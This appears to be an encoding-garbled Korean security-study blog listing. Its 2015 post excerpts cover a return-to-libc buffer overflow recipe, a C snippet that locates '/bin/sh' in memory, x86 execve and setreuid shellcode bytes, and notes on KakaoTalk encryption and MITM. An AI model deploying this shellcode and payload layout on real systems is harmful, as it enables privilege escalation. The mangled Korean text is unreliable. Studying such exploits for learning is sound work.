728x90 ๋ฐ์ํ Security Study/System18 system /bin/sh ์ฃผ์ ์ฐพ๊ธฐ #include #include int main(int argc,char *argv[]) {long shell;shell = ์์คํ ์ฃผ์;while(memcmp((void*)shell,("/bin/sh"),8)) shell++;printf("%p\n",shell);} Security Study/System 2015. 9. 15. system 2 gdb์์์์ blocking ํจ์ ์ ๋ ฅ r Security Study/System 2015. 9. 13. system 1์ผ์ฐจ buf[248] + sfp[4] + ret ulimit -s unlimited //์คํํฌ๊ธฐ๋ฅผ ๋ฌดํ์ ์ผ๋ก ๋๋ ค ASLR์ด ์ ์ฉ์๋จ system,execve - ebp+8์์น์์๋๊ฒ์ ์ธ์๋ก๋ฐ์ buf[248] + sfp [4] + ์กฐ์(system) + AAAA + /bin/sh - system("/bin/sh") b main r 1 p system - system์ฃผ์ ๊ตฌํ๊ธฐ p exit - exit๊ตฌํ๊ธฐ find &system,+9999999,"/bin/sh" - /bin/sh์ฃผ์ ๊ตฌํ๊ธฐ ./filename $(python -c 'print "A"*๋ฒํผ+sfp + system + exit + /bin/sh strcpy(bss,\x80asda) strcpy(bss,"b") ./filename buf+sfp.. Security Study/System 2015. 9. 12. system shellcode // 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0.. Security Study/System 2015. 9. 10. BOF(buffer overflow) Security Study/System 2015. 9. 3. ์นด์นด์คํก ๋น๋ฐ๋ํ ๋ถ์ Certificate Pinning; SSL PinningEnd-to-end EncryptionPerfect Forward Secrecy Cain & Abel์ ํตํ MITM ๊ณต๊ฒฉCertificate PinningRSA ์๊ณ ๋ฆฌ์ฆ, AES๋ฅผ ํตํ์ฌ ํค๋ฅผ ์ฃผ๊ณ ๋ฐ์์ก์ ์-> AES ํค๋ก ์ํธํ๋ ๋ด์ฉ์ ์๋ฒ์ ๋ณด๋์๋ฒ์์ ๋ณตํธํํ์ฌ ๋ด์ฉ์ ์ ์ฅ, AES ํค๋ก ์ํธํ ํ ์์ ์์๊ฒ ๋ณด๋End-to-end EncryptionHandshake ํ ๊ฐ์์ ์ ๋ณด๋ฅผ ์ด์ฉํ์ฌ ๋ณตํธํPerfect Forward SecrecySSL Pinning, ํค๊ฐ๋ง ์๋ฉด ๋ซ๋ฆฐ๋ค!์ค์๊ฐ ๋/๊ฐ์ฒญ์ ๋ถ๊ฐ์ ๋ถ์ ์ ์ฑ ์ผ๋ก ์ธํด์์ ๋ฐ์ดํฐ ์์ง์ด ์๋ค๋ฉด ๋ ๋ชจ๋ฅผ๊น.์นดํก ์๋ฒ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ ์ด์ ?- 3์ผ ~ ์ผ์ฃผ์ผ; ์๋๋ฐฉ์ด ๋ฐ์ง ๋ชปํ์ ๋.. Security Study/System 2015. 9. 3. ์ด์ 1 2 ๋ค์ 728x90 ๋ฐ์ํ